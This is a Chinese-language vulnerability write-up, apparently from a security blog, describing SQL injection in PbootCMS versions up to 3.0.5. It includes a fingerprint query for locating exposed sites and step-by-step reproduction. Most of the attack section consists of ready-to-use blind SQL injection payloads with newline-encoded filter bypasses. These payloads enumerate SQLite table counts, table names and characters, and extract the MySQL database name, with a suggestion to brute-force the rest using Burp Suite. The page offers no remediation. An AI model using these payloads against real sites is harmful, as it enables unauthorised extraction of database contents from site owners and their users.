PbootCMS domain SQL注入漏洞

漏洞描述

PbootCMS 搜索模块存在SQL注入漏洞。通过漏洞可获取数据库敏感信息。

漏洞影响

PbootCMS <= 3.0.5

网络测绘

app=”PBOOTCMS”

漏洞复现

本地搭建好最新版本,访问首页

20231121165707537-3b394993-4287-4571-9bc0-c9516c06700f (1)

我们需要访问一个存在的页面

url中13后加个单引号 ‘

20231121165809404-009c1269-5f30-4f5c-a516-c80ea2cf6246 (1)

若为执行sql报错相关,则漏洞存在

若显示下图

20231121165857868-3114f8c9-f218-402a-a9a8-a892e330111f (1)

则漏洞无法利用

程序默认搭建为sqlite3数据库, Fuzz当前数据库表单payload

')%0aand%0a(SELECT%0acount(tbl_name)%0aFROM%0asqlite_master%0aWHERE%0atype%3d'ta ble'%0aand%0atbl_name%0aNOT%0alike%0a'sqlite_%')<40--

20231121165956774-09e2c30d-bead-4d94-a635-b06b1ba390e0 (1)

通过此payload进行盲注Fuzz数据库中表单总数是否小于40

查询为真返回正常,假则报错

20231121170055916-14c49350-a684-447a-920f-8c8023e95214 (1)

由此我们可以准确推断出表单总数

计算sqlite数据库中第一个表名长度,我们可以使用如下payload:

')%0aand%0a(SELECT%0alength(tbl_name)%0aFROM%0asqlite_master%0aWHERE%0atype%3d't able'%0aand%0atbl_name%0aNOT%0alike%0a'sqlite_%'%0alimit%0a1%0aoffset%0a0)<8--

20231121170157492-9838042c-aa24-42ae-8841-4e60d89223c9 (1)

猜解第一个表名称,我们可以使用如下payload:

')%0aand%0a(SELECT%0asubstr(tbl_name,1,1)%0aFROM%0asqlite_master%0aWHERE%0atype% 3d'table'%0aand%0atbl_name%0aNOT%0alike%0a'sqlite_%'%0alimit%0a1%0aoffset%0a0)%3d'a'--

20231121170253537-69a594d3-9941-47f8-9b0d-c2c05699dfe1 (1)

这样可以得到数据库第一个表的第一位数值为字符串”a”

通过substr()函数,我们可以很轻松的得到表名称.

同理可获取其他数据

在Mysql下的利用方式

猜解当前数据库名称 可以使用如下payload进行Fuzz:

')%0aand%0a(select%0asubstr(database(),1,1)%3d'p')%23

查询为真时页面将返回正常.

使用Burpsuite可以爆破出数据库名称,其他表名字段名等方法相同

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容